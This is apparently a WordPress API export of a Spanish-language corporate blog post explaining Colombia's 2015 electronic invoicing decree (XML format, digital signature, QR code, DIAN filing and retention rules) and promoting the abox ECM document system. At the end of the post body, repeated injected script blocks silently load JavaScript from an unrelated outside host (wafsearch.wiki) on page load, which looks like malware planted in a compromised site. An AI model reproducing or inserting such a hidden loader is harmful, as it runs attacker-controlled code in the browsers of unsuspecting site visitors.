{"id":2923,"date":"2016-08-17T15:05:29","date_gmt":"2016-08-17T20:05:29","guid":{"rendered":"https:\/\/149.56.148.186\/?p=1935"},"modified":"2026-03-20T04:13:24","modified_gmt":"2026-03-20T09:13:24","slug":"implementacion-de-la-factura-electronica-con-abox-ecm","status":"publish","type":"post","link":"https:\/\/www.adapting.com\/en\/implementacion-de-la-factura-electronica-con-abox-ecm\/","title":{"rendered":"Implementaci\u00f3n de la factura electr\u00f3nica con abox ECM"},"content":{"rendered":"<p>En Colombia, como parte del Plan Nacional de Desarrollo 2015-2018, el gobierno est\u00e1 impulsando la masificaci\u00f3n del uso de la facturaci\u00f3n electr\u00f3nica como mecanismo para controlar la evasi\u00f3n fiscal e incrementar la competitividad de las empresas colombianas a nivel internacional.<\/p>\n<p>Es posible incorporar r\u00e1pidamente la factura electr\u00f3nica con<strong> abox ECM<\/strong> cumpliendo con los requisitos legales establecidos en el <a href=\"http:\/\/www.dian.gov.co\/dian\/13Normatividad.nsf\/e9f4a60f9d1ed93a05256f8800650b07\/85c57d1439324ad405257f080070f99d?OpenDocument\" target=\"_blank\" rel=\"noopener\" class=\"broken_link\">Decreto 2242 de 2015<\/a>. El nuevo decreto y la resoluci\u00f3n que lo acompa\u00f1a (<a href=\"http:\/\/www.dian.gov.co\/micrositios\/fac_electronica\/documentos\/Resolucion_000019_24_Febrero_2016_FACTURA_ELECTRONICA.pdf\" target=\"_blank\" rel=\"noopener\" class=\"broken_link\"><u>descargar aqu\u00ed<\/u><\/a>) buscan extender el uso de la facturaci\u00f3n electr\u00f3nica a partir de 2017 en todas las empresas colombianas. De hecho, las empresas que opten por facturar electr\u00f3nicamente a partir de ahora deber\u00e1n hacerlo conforme a las condiciones de expedici\u00f3n e interoperabilidad que dicta esta Orden.<\/p>\n<h2>Obligados a expedir factura electr\u00f3nica:<\/h2>\n<p>Conforme a este decreto, la DIAN llevar\u00e1 a cabo un proyecto piloto con empresas voluntarias, para despu\u00e9s implementar la obligatoriedad de la factura electr\u00f3nica en Colombia. Las empresas que est\u00e9n facturando seg\u00fan decretos anteriores tendr\u00e1n un per\u00edodo para adaptar sus sistemas a la nueva reglamentaci\u00f3n.<\/p>\n<p>La DIAN seleccionar\u00e1 de manera gradual las personas naturales o jur\u00eddicas que deber\u00e1n facturar electr\u00f3nicamente de acuerdo con una clasificaci\u00f3n de actividades econ\u00f3micas, dentro de 18 sectores escogidos por sus vol\u00famenes de facturaci\u00f3n y otros criterios de conveniencia.<\/p>\n<h2>Condiciones de generaci\u00f3n de la factura electr\u00f3nica:<\/h2>\n<ol>\n<li>Utilizar el formato electr\u00f3nico de generaci\u00f3n XML est\u00e1ndar establecido por la DIAN.<\/li>\n<li>Llevar numeraci\u00f3n consecutiva autorizada por la DIAN en condiciones que \u00e9sta se\u00f1ale.<\/li>\n<li>Cumplir los requisitos de emisi\u00f3n de cualquier factura de venta (art. 617 de Estatuto Tributario).<\/li>\n<li>Incluir firma digital o electr\u00f3nica como elemento para garantizar autenticidad e integridad de la factura electr\u00f3nica, de acuerdo con la pol\u00edtica de firma que ha establecido la DIAN.<\/li>\n<li>Incluir el C\u00f3digo \u00danico de Factura Electr\u00f3nica (se trata de un c\u00f3digo \u00fanico generado a partir de datos de la factura y del software que la emite). Este c\u00f3digo podr\u00e1 visualizarse como c\u00f3digo bidimensional QR.<\/li>\n<\/ol>\n<h2>Condiciones de entrega de la factura:<\/h2>\n<p><a href=\"https:\/\/www.adapting.com\/wp-content\/uploads\/2016\/08\/factura-escribir.jpg\"><img loading=\"lazy\" class=\"size-medium wp-image-1939 alignright\" src=\"https:\/\/www.adapting.com\/wp-content\/uploads\/2016\/08\/factura-escribir-300x200.jpg\" alt=\"factura electr\u00f3nica\" width=\"300\" height=\"200\" \/><\/a>El obligado a facturar electr\u00f3nicamente deber\u00e1 entregar o poner a disposici\u00f3n del adquirente la factura en el formato electr\u00f3nico de generaci\u00f3n, siempre que el adquirente tambi\u00e9n expida factura electr\u00f3nica, por tratarse de un obligado a facturar electr\u00f3nicamente en el \u00e1mbito del Decreto, o bien, el adquirente, no obligado a facturar electr\u00f3nicamente en el \u00e1mbito del Decreto, decida recibir factura en formato electr\u00f3nico de generaci\u00f3n.<\/p>\n<p>La representaci\u00f3n gr\u00e1fica de la factura electr\u00f3nica contendr\u00e1 un c\u00f3digo de barras QR para facilitar la verificaci\u00f3n ante la Entidad por el adquirente y las autoridades competentes y se deber\u00e1n utilizar formatos que sean de f\u00e1cil y amplio acceso por el adquirente, garantizando que la factura se pueda leer, copiar, descargar e imprimir de forma directa y gratuita.<\/p>\n<h4>Acuse de recibo de la factura electr\u00f3nica:<\/h4>\n<p>El adquirente que reciba una factura electr\u00f3nica en formato electr\u00f3nico (o su representaci\u00f3n gr\u00e1fica) deber\u00e1 informar al obligado a facturar electr\u00f3nicamente el recibo de la misma, para lo cual podr\u00e1 utilizar medios propios, o los que disponga para este fin el obligado a facturar electr\u00f3nicamente. As\u00ed mismo, podr\u00e1 utilizar para este efecto el formato que establezca la DIAN como alternativa.<\/p>\n<h4>Verificaci\u00f3n y rechazo de la factura electr\u00f3nica:<\/h4>\n<p>El adquirente que reciba la factura electr\u00f3nica en formato electr\u00f3nico de generaci\u00f3n deber\u00e1 verificar, entre otras, las siguientes condiciones:<\/p>\n<ul>\n<li>Entrega en el formato XML est\u00e1ndar establecido por la DIAN.<\/li>\n<li>Existencia de la informaci\u00f3n prevista, discriminando el impuesto al consumo, cuando sea del caso.<\/li>\n<li>Existencia y validez de la firma digital o electr\u00f3nica.<\/li>\n<li>Existencia y validez del C\u00f3digo \u00danico de Factura Electr\u00f3nica.<\/li>\n<\/ul>\n<p>En los casos rechazo de la factura electr\u00f3nica por incumplimiento alguna de las condiciones se\u00f1aladas procede su anulaci\u00f3n por parte del obligado a facturar electr\u00f3nicamente, con lo cual deber\u00e1 generar el correspondiente registro de una nota cr\u00e9dito, relacionada con la factura anulada.<\/p>\n<h4>Ejemplar de la factura electr\u00f3nica para la DIAN:<\/h4>\n<p>El obligado a facturar electr\u00f3nicamente deber\u00e1 suministrar a la DIAN un ejemplar de todas las facturas electr\u00f3nicas generadas, independientemente de la forma de entrega al adquirente, teniendo en cuenta que \u00e9ste deber\u00e1 ser entregado a la DIAN dentro del t\u00e9rmino m\u00e1ximo de <strong>cuarenta y ocho (48) horas<\/strong> siguientes a su emisi\u00f3n.<\/p>\n<p>Dentro del mismo t\u00e9rmino se deben entregar las correspondientes notas cr\u00e9dito o d\u00e9bito generadas, cuando sea el caso.<\/p>\n<p>Adicionalmente, la DIAN podr\u00e1 exigir el Registro Auxiliar de Ventas y Compras e IVA por pagar e Impuesto Nacional al Consumo.<\/p>\n<h2>Conservaci\u00f3n de la factura electr\u00f3nica:<\/h2>\n<p>Para efectos fiscales, la factura electr\u00f3nica, las notas cr\u00e9dito y d\u00e9bito se conservar\u00e1n en el formato electr\u00f3nico de generaci\u00f3n establecido por la DIAN, tanto por el obligado a facturar electr\u00f3nicamente como por el adquirente que recibe en ese formato.<\/p>\n<p>La factura electr\u00f3nica, cr\u00e9dito y d\u00e9bito as\u00ed como las constancias de recibo y caso, deber\u00e1n ser conservadas por un per\u00edodo m\u00ednimo de <strong>cinco (5) a\u00f1os<\/strong>, contados a partir del 1\u00ba de enero del a\u00f1o siguiente al de su elaboraci\u00f3n, expedici\u00f3n o recibo.<\/p>\n<h2>Habilitaci\u00f3n (autorizaci\u00f3n) de la factura electr\u00f3nica:<\/h2>\n<p>Para expedir la factura electr\u00f3nica en el \u00e1mbito de este Decreto, deber\u00e1 surtirse el procedimiento de habilitaci\u00f3n que se\u00f1ala la DIAN. Seg\u00fan este procedimiento se realizan, entre otras, las pruebas tecnol\u00f3gicas tendientes a demostrar que el software que han dispuesto para facturar electr\u00f3nicamente, cumple con las condiciones t\u00e9cnicas de expedici\u00f3n de la factura electr\u00f3nica, recibo y rechazo.<\/p>\n<p>El contribuyente puede, <strong>con sus propios medios tecnol\u00f3gicos<\/strong>, elaborar sus facturas electr\u00f3nicas, y puede tambi\u00e9n contratar el servicio con terceros, y en tal caso el tercero debe estar autorizado por la DIAN conforme lo indica el art\u00edculo 12 del decreto 2242 de 2015.<\/p>\n<p>Conozca c\u00f3mo puede integrar su factura electr\u00f3nica directamente con abox ECM, sin necesidad de contratar el servicio con una plataforma externa (<a href=\"http:\/\/www.blocument.com\/index.php\/2016\/08\/17\/beneficios-de-implementar-la-factura-electronica-con-un-gestor-documental\/\" target=\"_blank\" rel=\"noopener\" class=\"broken_link\">pulse aqu\u00ed para visitar nuestro blog<\/a>).<script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = 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